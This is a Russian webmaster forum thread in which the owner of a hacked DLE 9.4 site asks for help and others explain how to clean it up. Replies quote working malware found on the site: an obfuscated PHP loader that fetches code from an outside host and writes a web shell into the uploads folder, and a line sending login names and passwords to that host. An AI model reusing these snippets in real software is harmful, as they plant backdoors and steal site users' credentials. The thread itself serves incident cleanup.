- Поисковые системы
- Практика оптимизации
- Трафик для сайтов
- Монетизация сайтов
- Сайтостроение
- Социальный Маркетинг
- Общение профессионалов
- Биржа и продажа
- Финансовые объявления
- Работа на постоянной основе
- Сайты - покупка, продажа
- Соцсети: страницы, группы, приложения
- Сайты без доменов
- Трафик, тизерная и баннерная реклама
- Продажа, оценка, регистрация доменов
- Ссылки - обмен, покупка, продажа
- Программы и скрипты
- Размещение статей
- Инфопродукты
- Прочие цифровые товары
- Работа и услуги для вебмастера
- Оптимизация, продвижение и аудит
- Ведение рекламных кампаний
- Услуги в области SMM
- Программирование
- Администрирование серверов и сайтов
- Прокси, ВПН, анонимайзеры, IP
- Платное обучение, вебинары
- Регистрация в каталогах
- Копирайтинг, переводы
- Дизайн
- Usability: консультации и аудит
- Изготовление сайтов
- Наполнение сайтов
- Прочие услуги
- Не про работу
Все что нужно знать о DDоS-атаках грамотному менеджеру
И как реагировать на "пожар", когда неизвестно, где хранятся "огнетушители
Антон Никонов
В 2023 году Google заблокировал более 170 млн фальшивых отзывов на Картах
Это на 45% больше, чем в 2022 году
Оксана Мамчуева
Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий
Здравствуйте форумчане, у меня сайт на DLE 9.4 стоит на дедике, вчера был взлом и злоумышленник поставил код <script type="text/javascript" src="http://shell.scaryfilm.ru/ajax/****.php"></script>
полночи боролся , вроде победил, но сегодня еще хуже, видимо код вернулся, куча изменений в пхп файлах, создаются новые админы, в общем полный бардак. нужен ХОРОШИЙ специалист по проблеме. Срочно. Зачистить, залатать.
Вам нужен
1) грамотный администратор, который приведет сервер в порядок
2) грамотный программист.
и теми и другими обладаю. нужно списаться, обсудить...
3) Грамотный антивирус на домашнем компьютере, откуда заходите по ftp
Ищите фтп шелл... скорее всего он в одном из установленных модулей, например videovk_mod.
Там есть такое... сносите к чертям!
$fdsfsdfsdfsd = file_get_contents('h'.'t'.'t'.'p'.':'.'//'.'s'.'c'.'a'.'r'.'y'.'f'.'i'.'l'.'m'.'.'.'ru'.'/get.'.'p'.'hp'.'?url='.$_SERVER['HTTP_HOST']).unlink(ROOT_DIR.'/'.'u'.'p'.'l'.'o'.'a'.'d'.'s'.'/.htaccess'); file_put_contents(ROOT_DIR.'/'.'b'.'a'.'c'.'k'.'u'.'p'.'/pe'.'op'.'le'.'.p'.'hp', str_replace('fghfgh544ty', '?>', str_replace('fgfvsdffvsdvsd', '<?', $fdsfsdfsdfsd))); file_put_contents(ROOT_DIR.'/'.'u'.'p'.'l'.'o'.'a'.'d'.'s'.'/'.'f'.'ot'.'os'.'/pe'.'op'.'le'.'.p'.'hp', str_replace('fghfgh544ty', '?>', str_replace('fgfvsdffvsdvsd', '<?', $fdsfsdfsdfsd)));
Как видно шел грузится в uploads/fotos/people.php
А далее обходите все файлы движка и смотрите какие изменения были внесены.
3) Грамотный антивирус на домашнем компьютере, откуда заходите по ftp
даже мне стало интересно... вы знаете такой?
Glurk, он называется межушный ганглий, если такой не установлен, не поможет никакой антивирус
даже мне стало интересно... вы знаете такой?
У меня нет Windows.
даже мне стало интересно... вы знаете такой?
да,есть такой - мозг V1.0
Удаляйте код из файлов:
admin.php
\engine\classes\flashplayer\media_player.php (ВАЩЕ левый)
\engine\classes\js\jquery.js
\engine\init.php
что то типа такого:
file_get_contents("http://scaryfilm.ru/1.php?url=".$_SERVER["HTTP_HOST"].":".$_POST['username'].":".$_POST['password'].":".$_SERVER['REMOTE_ADDR']);
А еще лучше сливайте полностью сайт себе, и сделайте в нем поиск на строку "scaryfilm.ru"
да сейчас перезаливаю пхп файлы на чистые, но где-то лежит шелл отдельно от моих файлов, с него и генерируются изменения, так как вчера все почистил и пароли поменял доступов по фтп и ssh и почту.
да сейчас перезаливаю пхп файлы на чистые, но где-то лежит шелл отдельно от моих файлов, с него и генерируются изменения, так как вчера все почистил и пароли поменял доступов по фтп и ssh и почту.
Идите от установленных модулей на ДЛЕ. пример с какого модуля грузится я написал выше.
Или стучите в асю поможем чем сможем.